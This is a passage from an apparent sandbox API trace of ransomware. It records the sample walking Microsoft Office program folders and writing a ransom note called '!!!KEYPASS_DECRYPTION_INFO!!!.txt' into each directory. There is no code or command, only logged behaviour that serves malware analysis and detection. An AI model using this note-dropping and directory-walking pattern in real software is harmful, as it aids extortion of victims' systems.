pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.051] GetLastError () returned 0x3f0 [0257.051] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.051] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\document parts\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9fc [0257.052] GetFileType (hFile=0x9fc) returned 0x1 [0257.052] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.052] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.052] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.052] WriteFile (in: hFile=0x9fc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.053] WriteFile (in: hFile=0x9fc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.053] CloseHandle (hObject=0x9fc) returned 1 [0257.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3a0adb8 [0257.053] FindNextFileW (in: hFindFile=0x3a0adb8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.053] FindNextFileW (in: hFindFile=0x3a0adb8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.053] FindNextFileW (in: hFindFile=0x3a0adb8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.054] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.054] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.054] GetLastError () returned 0x3f0 [0257.054] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.054] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\document parts\\1033\\16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0257.055] GetFileType (hFile=0xa00) returned 0x1 [0257.055] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.055] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.055] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.055] WriteFile (in: hFile=0xa00, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.056] WriteFile (in: hFile=0xa00, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.056] CloseHandle (hObject=0xa00) returned 1 [0257.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0abb8 [0257.057] FindNextFileW (in: hFindFile=0x3a0abb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.057] FindNextFileW (in: hFindFile=0x3a0abb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.057] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.057] FindNextFileW (in: hFindFile=0x3a0abb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.057] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\Built-In Building Blocks.dotx") returned=".dotx" [0257.057] FindNextFileW (in: hFindFile=0x3a0abb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.057] FindNextFileW (in: hFindFile=0x3a0adb8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.057] FindNextFileW (in: hFindFile=0x3a0a978, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.057] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.057] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DRILLDWN.DLL") returned=".DLL" [0257.057] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.057] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DWGCNV.DLL") returned=".DLL" [0257.057] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.057] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DWGDP.DLL") returned=".DLL" [0257.058] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.058] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DWGDPTG.DLL") returned=".DLL" [0257.058] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.058] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EDITOR.EXE") returned=".EXE" [0257.058] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.058] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EDITORS.DLL") returned=".DLL" [0257.058] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.058] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ELECTRICAL.VSL") returned=".VSL" [0257.058] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ELEMENTS.DLL") returned=".DLL" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ELEMUTIL.DLL") returned=".DLL" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EMABLT32.DLL") returned=".DLL" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EMSMDB32.DLL") returned=".DLL" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EntityDataHandler.dll") returned=".dll" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EntityPicker.dll") returned=".dll" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ENVELOPE.DLL") returned=".DLL" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ERXIMP.ADD") returned=".ADD" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE") returned=".EXE" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\excel.exe.manifest") returned=".manifest" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.073] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml") returned=".xml" [0257.073] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe") returned=".exe" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe.manifest") returned=".manifest" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnvpxy.dll") returned=".dll" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ExcelCtxUICellModel.bin") returned=".bin" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXSEC32.DLL") returned=".DLL" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ExtensibleApp.xap") returned=".xap" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXTRACT.DLL") returned=".DLL" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FACILITY.DLL") returned=".DLL" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FilterModule.dll") returned=".dll" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\flat_officeFontsPreview.ttf") returned=".ttf" [0257.074] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.074] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.074] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.074] GetLastError () returned 0x3f0 [0257.074] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.074] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f4 [0257.075] GetFileType (hFile=0x9f4) returned 0x1 [0257.075] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.075] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.076] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.076] WriteFile (in: hFile=0x9f4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.076] WriteFile (in: hFile=0x9f4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.077] CloseHandle (hObject=0x9f4) returned 1 [0257.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0ac78 [0257.077] FindNextFileW (in: hFindFile=0x3a0ac78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.077] FindNextFileW (in: hFindFile=0x3a0ac78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.077] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.077] FindNextFileW (in: hFindFile=0x3a0ac78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.077] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.077] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.077] GetLastError () returned 0x3f0 [0257.077] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.077] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa08 [0257.085] GetFileType (hFile=0xa08) returned 0x1 [0257.085] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.085] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.085] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.085] WriteFile (in: hFile=0xa08, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.086] WriteFile (in: hFile=0xa08, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.086] CloseHandle (hObject=0xa08) returned 1 [0257.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3a0a9f8 [0257.086] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\ACTIVITL.ICO") returned=".ICO" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\ACTIVITS.ICO") returned=".ICO" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\ACTIVITY.CFG") returned=".CFG" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\APPT.CFG") returned=".CFG" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\APPTL.ICO") returned=".ICO" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\APPTS.ICO") returned=".ICO" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CNFNOT.CFG") returned=".CFG" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CNFNOT.ICO") returned=".ICO" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CNFRES.CFG") returned=".CFG" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.087] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONFLICT.ICO") returned=".ICO" [0257.087] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONTACT.CFG") returned=".CFG" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONTACTL.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONTACTS.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DISTLIST.CFG") returned=".CFG" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DISTLSTL.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DISTLSTS.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DOC.CFG") returned=".CFG" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DOCL.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DOCS.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\EXITEM.CFG") returned=".CFG" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\EXITEML.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\EXITEMS.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\INFOMAIL.CFG") returned=".CFG" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\INFOML.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\INFOMS.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\IPM.CFG") returned=".CFG" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 